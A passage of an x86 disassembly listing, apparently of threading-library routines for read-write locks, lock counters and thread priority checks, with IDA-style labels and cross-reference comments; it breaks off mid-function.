loc_432F7B: ; CODE XREF: sub_432ED0+8Dj
push esi
call sub_402252
add esp, 4
loc_432F84: ; CODE XREF: sub_432ED0+7Aj
push esi
nop
call near ptr 77C2C21Bh
mov ecx, [esp+10h+arg_0]
add esp, 4
xor esi, esi
mov eax, edi
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_432F9C: ; CODE XREF: sub_432ED0+A0j
mov ecx, [esp+0Ch+arg_0]
xor edi, edi
mov eax, edi
mov dword ptr [esi+18h], 0FACADE2h
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
sub_432ED0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433000: ; CODE XREF: ___:004018BBj
mov eax, [esp+4]
push ebx
push ebp
push esi
push edi
xor ebx, ebx
xor edi, edi
xor ebp, ebp
test eax, eax
jz loc_43313B
mov esi, [eax]
test esi, esi
jz loc_43313B
cmp esi, 0FFFFFFFFh
jz loc_4330F7
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_43313B
push esi
call sub_402248
add esp, 4
test eax, eax
jnz loc_433140
lea edi, [esi+4]
push edi
call sub_402248
mov ebx, eax
add esp, 4
test ebx, ebx
jz short loc_433069
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433069: ; CODE XREF: ___:00433057j
mov eax, [esi+10h]
test eax, eax
jg short loc_4330DD
mov eax, [esi+0Ch]
mov ecx, [esi+14h]
cmp eax, ecx
jg short loc_4330DD
push edi
mov dword ptr [esi+18h], 0
call sub_4010C3
add esp, 4
mov ebx, eax
test ebx, ebx
push esi
jz short loc_4330A0
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4330A0: ; CODE XREF: ___:0043308Fj
call sub_4010C3
add esp, 4
test eax, eax
jnz loc_433140
mov ecx, [esp+14h]
lea edx, [esi+8]
push edx
mov [ecx], eax
call sub_401AA5
push edi
mov ebx, eax
call sub_402252
push esi
mov edi, eax
call sub_402252
push esi
mov ebp, eax
call near ptr 77C2C21Bh
nop
add esp, 10h
jmp short loc_433123
; ---------------------------------------------------------------------------
loc_4330DD: ; CODE XREF: ___:0043306Ej
; ___:00433078j
push edi
call sub_4010C3
push esi
mov ebx, eax
call sub_4010C3
add esp, 8
mov edi, eax
mov ebp, 10h
jmp short loc_433123
; ---------------------------------------------------------------------------
loc_4330F7: ; CODE XREF: ___:00433023j
push offset dword_510980
nop
call near ptr 7C901005h
mov eax, [esp+14h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_433113
mov dword ptr [eax], 0
jmp short loc_433118
; ---------------------------------------------------------------------------
loc_433113: ; CODE XREF: ___:00433109j
mov ebx, 10h
loc_433118: ; CODE XREF: ___:00433111j
push offset dword_510980
nop
call near ptr 7C9010EDh
loc_433123: ; CODE XREF: ___:004330DBj
; ___:004330F5j
test ebx, ebx
jz short loc_43312E
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43312E: ; CODE XREF: ___:00433125j
test edi, edi
mov eax, edi
jnz short loc_433140
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43313B: ; CODE XREF: ___:00433010j
; ___:0043301Aj ...
mov eax, 16h
loc_433140: ; CODE XREF: ___:00433041j
; ___:004330AAj ...
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4331B0: ; CODE XREF: ___:00401EA6j
push esi
push 4
push 1
xor esi, esi
nop
call near ptr 77C2C0C3h
add esp, 8
test eax, eax
jnz short loc_4331D3
mov edx, [esp+8]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_4331D3: ; CODE XREF: ___:004331C2j
mov ecx, [esp+8]
mov dword ptr [eax], 0
mov [ecx], eax
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433200: ; CODE XREF: ___:0040179Ej
mov ecx, [esp+4]
push esi
xor esi, esi
test ecx, ecx
jz short loc_433221
mov eax, [ecx]
test eax, eax
jz short loc_433221
push eax
mov [ecx], esi
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_433221: ; CODE XREF: ___:00433209j
; ___:0043320Fj
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433240: ; CODE XREF: ___:00401136j
mov eax, [esp+4]
test eax, eax
jz short loc_43325D
mov eax, [eax]
test eax, eax
jz short loc_43325D
mov ecx, [esp+8]
test ecx, ecx
jz short loc_43325D
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_43325D: ; CODE XREF: ___:00433246j
; ___:0043324Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433280: ; CODE XREF: ___:004015A5j
mov eax, [esp+4]
test eax, eax
jz short loc_4332AA
mov ecx, [eax]
test ecx, ecx
jz short loc_4332AA
mov eax, [esp+8]
cmp eax, 1
jz short loc_43329E
test eax, eax
jnz short loc_4332AA
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_43329E: ; CODE XREF: ___:00433295j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_4332AA: ; CODE XREF: ___:00433286j
; ___:0043328Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4332C0: ; CODE XREF: ___:00402095j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_43337A
mov eax, [esi]
test eax, eax
jz loc_43337A
cmp eax, 0FFFFFFFFh
jnz short loc_4332F4
push esi
call sub_40185C
add esp, 4
test eax, eax
jz short loc_4332F4
cmp eax, 10h
jnz loc_43337F
loc_4332F4: ; CODE XREF: ___:004332DCj
; ___:004332E9j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz short loc_43337A
push esi
call sub_402248
add esp, 4
test eax, eax
jnz short loc_43337F
mov ecx, [esi+0Ch]
inc ecx
mov eax, ecx
mov [esi+0Ch], ecx
cmp eax, 7FFFFFFFh
jnz short loc_43336D
lea edi, [esi+4]
push edi
call sub_402248
mov ebx, eax
add esp, 4
test ebx, ebx
jz short loc_43333D
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43333D: ; CODE XREF: ___:0043332Cj
mov eax, [esi+14h]
mov ebx, [esi+0Ch]
sub ebx, eax
push edi
mov [esi+0Ch], ebx
mov dword ptr [esi+14h], 0
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jz short loc_43336D
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43336D: ; CODE XREF: ___:0043331Aj
; ___:0043335Cj
push esi
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43337A: ; CODE XREF: ___:004332C9j
; ___:004332D3j ...
mov eax, 16h
loc_43337F: ; CODE XREF: ___:004332EEj
; ___:0043330Aj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4333D0: ; CODE XREF: ___:004016A4j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_43349F
mov eax, [esi]
test eax, eax
jz loc_43349F
cmp eax, 0FFFFFFFFh
jnz short loc_433404
push esi
call sub_40185C
add esp, 4
test eax, eax
jz short loc_433404
cmp eax, 10h
jnz loc_4334A4
loc_433404: ; CODE XREF: ___:004333ECj
; ___:004333F9j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_43349F
mov ebx, [esp+14h]
push ebx
push esi
call sub_401BD6
add esp, 8
test eax, eax
jnz short loc_4334A4
mov ecx, [esi+0Ch]
inc ecx
mov eax, ecx
mov [esi+0Ch], ecx
cmp eax, 7FFFFFFFh
jnz short loc_433492
lea edi, [esi+4]
push ebx
push edi
call sub_401BD6
mov ebx, eax
add esp, 8
test ebx, ebx
jz short loc_433462
cmp ebx, 274Ch
jnz short loc_433453
inc dword ptr [esi+14h]
loc_433453: ; CODE XREF: ___:0043344Ej
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433462: ; CODE XREF: ___:00433446j
mov eax, [esi+14h]
mov ebx, [esi+0Ch]
sub ebx, eax
push edi
mov [esi+0Ch], ebx
mov dword ptr [esi+14h], 0
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jz short loc_433492
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433492: ; CODE XREF: ___:00433433j
; ___:00433481j
push esi
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43349F: ; CODE XREF: ___:004333D9j
; ___:004333E3j ...
mov eax, 16h
loc_4334A4: ; CODE XREF: ___:004333FEj
; ___:00433423j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4334F0: ; CODE XREF: ___:004015D2j
sub esp, 0Ch
push ebp
push esi
mov esi, [esp+18h]
push edi
test esi, esi
jz loc_4335E6
mov eax, [esi]
test eax, eax
jz loc_4335E6
cmp eax, 0FFFFFFFFh
jnz short loc_433527
push esi
call sub_40185C
add esp, 4
test eax, eax
jz short loc_433527
cmp eax, 10h
jnz loc_4335EB
loc_433527: ; CODE XREF: ___:0043350Fj
; ___:0043351Cj
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_4335E6
push esi
call sub_402248
add esp, 4
test eax, eax
jnz loc_4335EB
lea ebp, [esi+4]
push ebp
call sub_402248
mov edi, eax
add esp, 4
test edi, edi
jz short loc_43356B
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_43356B: ; CODE XREF: ___:00433557j
mov eax, [esi+10h]
test eax, eax
jnz short loc_4335DA
mov eax, [esi+14h]
test eax, eax
jle short loc_433588
mov ecx, [esi+0Ch]
mov dword ptr [esi+14h], 0
sub ecx, eax
mov [esi+0Ch], ecx
loc_433588: ; CODE XREF: ___:00433577j
mov eax, [esi+0Ch]
test eax, eax
jle short loc_4335DA
neg eax
push ebx
mov [esi+14h], eax
push esi
lea eax, [esp+14h]
push offset sub_401861
push eax
call sub_401663
; ---------------------------------------------------------------------------
add esp, 0Ch
lea ebx, [esi+8]
loc_4335AB: ; CODE XREF: ___:004335C0j
push ebp
push ebx
call sub_401203
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_4335C2
mov eax, [esi+14h]
test eax, eax
jl short loc_4335AB
loc_4335C2: ; CODE XREF: ___:004335B9j
xor ecx, ecx
test edi, edi
setnz cl
push ecx
call sub_401122
; ---------------------------------------------------------------------------
add esp, 4
test edi, edi
pop ebx
jnz short loc_4335DD
mov [esi+0Ch], edi
loc_4335DA: ; CODE XREF: ___:00433570j
; ___:0043358Dj
inc dword ptr [esi+10h]
loc_4335DD: ; CODE XREF: ___:004335D5j
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_4335E6: ; CODE XREF: ___:004334FCj
; ___:00433506j ...
mov eax, 16h
loc_4335EB: ; CODE XREF: ___:00433521j
; ___:00433541j
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433650: ; CODE XREF: ___:00401960j
sub esp, 0Ch
push ebp
push esi
mov esi, [esp+18h]
push edi
test esi, esi
jz loc_433751
mov eax, [esi]
test eax, eax
jz loc_433751
cmp eax, 0FFFFFFFFh
jnz short loc_433687
push esi
call sub_40185C
add esp, 4
test eax, eax
jz short loc_433687
cmp eax, 10h
jnz loc_433756
loc_433687: ; CODE XREF: ___:0043366Fj
; ___:0043367Cj
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_433751
mov edi, [esp+20h]
push edi
push esi
call sub_401BD6
add esp, 8
test eax, eax
jnz loc_433756
lea ebp, [esi+4]
push edi
push ebp
call sub_401BD6
mov edi, eax
add esp, 8
test edi, edi
jz short loc_4336D1
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_4336D1: ; CODE XREF: ___:004336BDj
mov eax, [esi+10h]
test eax, eax
jnz short loc_433745
mov eax, [esi+14h]
test eax, eax
jle short loc_4336EE
mov ecx, [esi+0Ch]
mov dword ptr [esi+14h], 0
sub ecx, eax
mov [esi+0Ch], ecx
loc_4336EE: ; CODE XREF: ___:004336DDj
mov eax, [esi+0Ch]
test eax, eax
jle short loc_433745
neg eax
push ebx
mov [esi+14h], eax
push esi
lea eax, [esp+14h]
push offset sub_401861
push eax
call sub_401663
; ---------------------------------------------------------------------------
add esp, 0Ch
lea ebx, [esi+8]
loc_433711: ; CODE XREF: ___:0043372Bj
mov ecx, [esp+24h]
push ecx
push ebp
push ebx
call sub_4011E0
mov edi, eax
add esp, 0Ch
test edi, edi
jnz short loc_43372D
mov eax, [esi+14h]
test eax, eax
jl short loc_433711
loc_43372D: ; CODE XREF: ___:00433724j
xor edx, edx
test edi, edi
setnz dl
push edx
call sub_401122
; ---------------------------------------------------------------------------
add esp, 4
test edi, edi
pop ebx
jnz short loc_433748
mov [esi+0Ch], edi
loc_433745: ; CODE XREF: ___:004336D6j
; ___:004336F3j
inc dword ptr [esi+10h]
loc_433748: ; CODE XREF: ___:00433740j
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_433751: ; CODE XREF: ___:0043365Cj
; ___:00433666j ...
mov eax, 16h
loc_433756: ; CODE XREF: ___:00433681j
; ___:004336A6j
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4337B0: ; CODE XREF: ___:004015C8j
mov eax, [esp+4]
push ebx
push esi
push edi
test eax, eax
jz short loc_433836
mov esi, [eax]
test esi, esi
jz short loc_433836
cmp esi, 0FFFFFFFFh
jnz short loc_4337CC
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4337CC: ; CODE XREF: ___:004337C4j
cmp dword ptr [esi+18h], 0FACADE2h
jnz short loc_433836
mov eax, [esi+10h]
test eax, eax
jnz short loc_433814
lea ebx, [esi+4]
push ebx
call sub_402248
mov edi, eax
add esp, 4
test edi, edi
jz short loc_4337F2
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4337F2: ; CODE XREF: ___:004337ECj
mov eax, [esi+14h]
inc eax
mov [esi+14h], eax
jnz short loc_433809
add esi, 8
push esi
call sub_401E6F
add esp, 4
mov edi, eax
loc_433809: ; CODE XREF: ___:004337F9j
push ebx
call sub_4010C3
add esp, 4
jmp short loc_43382C
; ---------------------------------------------------------------------------
loc_433814: ; CODE XREF: ___:004337DAj
dec eax
mov [esi+10h], eax
lea eax, [esi+4]
push eax
call sub_4010C3
push esi
mov edi, eax
call sub_4010C3
add esp, 8
loc_43382C: ; CODE XREF: ___:00433812j
test edi, edi
jz short loc_43383B
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433836: ; CODE XREF: ___:004337B9j
; ___:004337BFj ...
mov eax, 16h
loc_43383B: ; CODE XREF: ___:0043382Ej
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433870: ; CODE XREF: ___:0040153Cj
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_43392A
mov eax, [esi]
test eax, eax
jz loc_43392A
cmp eax, 0FFFFFFFFh
jnz short loc_4338A4
push esi
call sub_40185C
add esp, 4
test eax, eax
jz short loc_4338A4
cmp eax, 10h
jnz loc_43392F
loc_4338A4: ; CODE XREF: ___:0043388Cj
; ___:00433899j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz short loc_43392A
push esi
call sub_401785
add esp, 4
test eax, eax
jnz short loc_43392F
mov ecx, [esi+0Ch]
inc ecx
mov eax, ecx
mov [esi+0Ch], ecx
cmp eax, 7FFFFFFFh
jnz short loc_43391D
lea edi, [esi+4]
push edi
call sub_402248
mov ebx, eax
add esp, 4
test ebx, ebx
jz short loc_4338ED
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4338ED: ; CODE XREF: ___:004338DCj
mov eax, [esi+14h]
mov ebx, [esi+0Ch]
sub ebx, eax
push edi
mov [esi+0Ch], ebx
mov dword ptr [esi+14h], 0
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jz short loc_43391D
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43391D: ; CODE XREF: ___:004338CAj
; ___:0043390Cj
push esi
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43392A: ; CODE XREF: ___:00433879j
; ___:00433883j ...
mov eax, 16h
loc_43392F: ; CODE XREF: ___:0043389Ej
; ___:004338BAj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433980: ; CODE XREF: ___:00401FF0j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_433A61
mov eax, [esi]
test eax, eax
jz loc_433A61
cmp eax, 0FFFFFFFFh
jnz short loc_4339B4
push esi
call sub_40185C
add esp, 4
test eax, eax
jz short loc_4339B4
cmp eax, 10h
jnz loc_433A66
loc_4339B4: ; CODE XREF: ___:0043399Cj
; ___:004339A9j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_433A61
push esi
call sub_401785
add esp, 4
test eax, eax
jnz loc_433A66
lea ebx, [esi+4]
push ebx
call sub_401785
mov edi, eax
add esp, 4
test edi, edi
jz short loc_4339F9
push esi
call sub_4010C3
add esp, 4
test eax, eax
jnz short loc_433A66
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4339F9: ; CODE XREF: ___:004339E4j
mov eax, [esi+10h]
test eax, eax
jnz short loc_433A49
mov eax, [esi+14h]
test eax, eax
jle short loc_433A16
mov ecx, [esi+0Ch]
mov dword ptr [esi+14h], 0
sub ecx, eax
mov [esi+0Ch], ecx
loc_433A16: ; CODE XREF: ___:00433A05j
mov eax, [esi+0Ch]
test eax, eax
jle short loc_433A54
push ebx
call sub_4010C3
add esp, 4
mov edi, eax
test edi, edi
push esi
jz short loc_433A3B
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433A3B: ; CODE XREF: ___:00433A2Bj
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_433A4E
loc_433A49: ; CODE XREF: ___:004339FEj
mov edi, 10h
loc_433A4E: ; CODE XREF: ___:00433A47j
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433A54: ; CODE XREF: ___:00433A1Bj
mov eax, edi
mov dword ptr [esi+10h], 1
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433A61: ; CODE XREF: ___:00433989j
; ___:00433993j ...
mov eax, 16h
loc_433A66: ; CODE XREF: ___:004339AEj
; ___:004339CEj ...
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433AB0: ; CODE XREF: ___:00401C0Dj
mov eax, [esp+4]
push eax
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_433AC7
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_433AC7: ; CODE XREF: ___:00433ABFj
mov eax, [esp+8]
neg eax
sbb eax, eax
and eax, 30h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433AF0: ; CODE XREF: ___:00401EB5j
mov eax, [esp+4]
push eax
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_433B17
mov eax, [esp+8]
test eax, eax
jz short loc_433B17
cmp eax, 2
jbe short loc_433B17
mov dword ptr [eax], 0
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_433B17: ; CODE XREF: ___:00433AFFj
; ___:00433B07j ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433B30: ; CODE XREF: ___:0040117Cj
push ebx
mov ebx, [esp+8]
push esi
push edi
push ebx
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_433B76
mov edi, [esp+14h]
test edi, edi
jz short loc_433B76
mov esi, [edi]
push eax
call sub_401555
add esp, 4
cmp esi, eax
jl short loc_433B76
push 0
call sub_401442
add esp, 4
cmp esi, eax
jg short loc_433B76
mov eax, [ebx]
mov ecx, [edi]
pop edi
pop esi
mov [eax+10h], ecx
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433B76: ; CODE XREF: ___:00433B42j
; ___:00433B4Aj ...
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433BA0: ; CODE XREF: ___:00401EFBj
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_433BC5
mov eax, [esp+0Ch]
test eax, eax
jz short loc_433BC5
mov ecx, [esi]
pop esi
mov edx, [ecx+10h]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_433BC5: ; CODE XREF: ___:00433BB0j
; ___:00433BB8j
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433BE0: ; CODE XREF: ___:004015BEj
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_433BF9
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_433BF9: ; CODE XREF: ___:00433BF0j
mov eax, [esp+0Ch]
test eax, eax
jz short loc_433C0D
cmp eax, 1
jz short loc_433C0D
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_433C0D: ; CODE XREF: ___:00433BFFj
; ___:00433C04j
mov ecx, [esi]
pop esi
mov [ecx+14h], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433C30: ; CODE XREF: ___:004019E7j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_433C55
mov eax, [esp+0Ch]
test eax, eax
jz short loc_433C55
mov ecx, [esi]
pop esi
mov edx, [ecx+14h]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_433C55: ; CODE XREF: ___:00433C40j
; ___:00433C48j
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433C70 proc near ; CODE XREF: sub_401050j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push 0
push esi
call sub_401762
add esp, 8
test eax, eax
jnz short loc_433CB5
mov eax, [esp+4+arg_4]
test eax, eax
jl short loc_433CB0
cmp eax, 2
jg short loc_433CB0
test eax, eax
jz short loc_433C9C
mov eax, 30h
pop esi
retn
; ---------------------------------------------------------------------------
loc_433C9C: ; CODE XREF: sub_433C70+23j
mov eax, [esp+4+arg_8]
mov ecx, [eax]
push ecx
push 0
push esi
call sub_4020D1
add esp, 0Ch
pop esi
retn
; ---------------------------------------------------------------------------
loc_433CB0: ; CODE XREF: sub_433C70+1Aj
; sub_433C70+1Fj
mov eax, 16h
loc_433CB5: ; CODE XREF: sub_433C70+12j
pop esi
retn
sub_433C70 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433CE0 proc near ; CODE XREF: sub_4020D1j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
mov edi, [esp+8+arg_4]
push edi
mov [esp+0Ch+arg_8], esi
call sub_401555
add esp, 4
cmp esi, eax
jl loc_433D85
push edi
call sub_401442
add esp, 4
cmp esi, eax
jg short loc_433D85
cmp esi, 0FFFFFFF1h
jle short loc_433D20
cmp esi, 0FFFFFFFEh
jge short loc_433D20
mov [esp+8+arg_8], 0FFFFFFFEh
jmp short loc_433D32
; ---------------------------------------------------------------------------
loc_433D20: ; CODE XREF: sub_433CE0+2Fj
; sub_433CE0+34j
cmp esi, 0Fh
jge short loc_433D32
cmp esi, 2
jle short loc_433D32
mov [esp+8+arg_8], 2
loc_433D32: ; CODE XREF: sub_433CE0+3Ej
; sub_433CE0+43j ...
mov edi, [esp+8+arg_0]
push ebx
push ebp
lea ebp, [edi+24h]
push ebp
call sub_402248
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_433D7E
mov eax, [esp+10h+arg_8]
mov ecx, [edi+4]
push eax
push ecx
nop
call near ptr 2750000h
test eax, eax
jnz short loc_433D72
push ebp
mov ebx, 16h
call sub_4010C3
add esp, 4
mov eax, ebx
pop ebp
pop ebx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_433D72: ; CODE XREF: sub_433CE0+7Bj
push ebp
mov [edi+28h], esi
call sub_4010C3
add esp, 4
loc_433D7E: ; CODE XREF: sub_433CE0+68j
mov eax, ebx
pop ebp
pop ebx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_433D85: ; CODE XREF: sub_433CE0+19j
; sub_433CE0+2Aj
pop edi
mov eax, 16h
pop esi
retn
sub_433CE0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433DC0 proc near ; CODE XREF: sub_4021B2j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push 0
push esi
call sub_401762
add esp, 8
test eax, eax
jnz short loc_433DF9
mov ecx, [esp+4+arg_4]
cmp ecx, 2
jbe short loc_433DF4
mov eax, [esp+4+arg_8]
test eax, eax
jz short loc_433DF4
mov dword ptr [ecx], 0
mov ecx, [esi+28h]
mov [eax], ecx
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_433DF4: ; CODE XREF: sub_433DC0+1Bj
; sub_433DC0+23j
mov eax, 16h
loc_433DF9: ; CODE XREF: sub_433DC0+12j
pop esi
retn
sub_433DC0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433E10 proc near ; CODE XREF: sub_401442j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jl short loc_433E23
cmp eax, 2
jg short loc_433E23
mov eax, 0Fh
retn
; ---------------------------------------------------------------------------
loc_433E23: ; CODE XREF: sub_433E10+6j
; sub_433E10+Bj
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
sub_433E10 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433E50 proc near ; CODE XREF: sub_401555j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jl short loc_433E63
cmp eax, 2
jg short loc_433E63
mov eax, 0FFFFFFF1h
retn
; ---------------------------------------------------------------------------
loc_433E63: ; CODE XREF: sub_433E50+6j
; sub_433E50+Bj
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
sub_433E50 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433E90: ; CODE XREF: ___:00401ADCj
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_433ED5
nop
call near ptr 2740D88h
cmp esi, eax
jz short loc_433ED5
push esi
push 0
push 200h
nop
call near ptr 2700000h
test eax, eax
jnz short loc_433ED5
nop
call near ptr 27C0849h
mov esi, eax
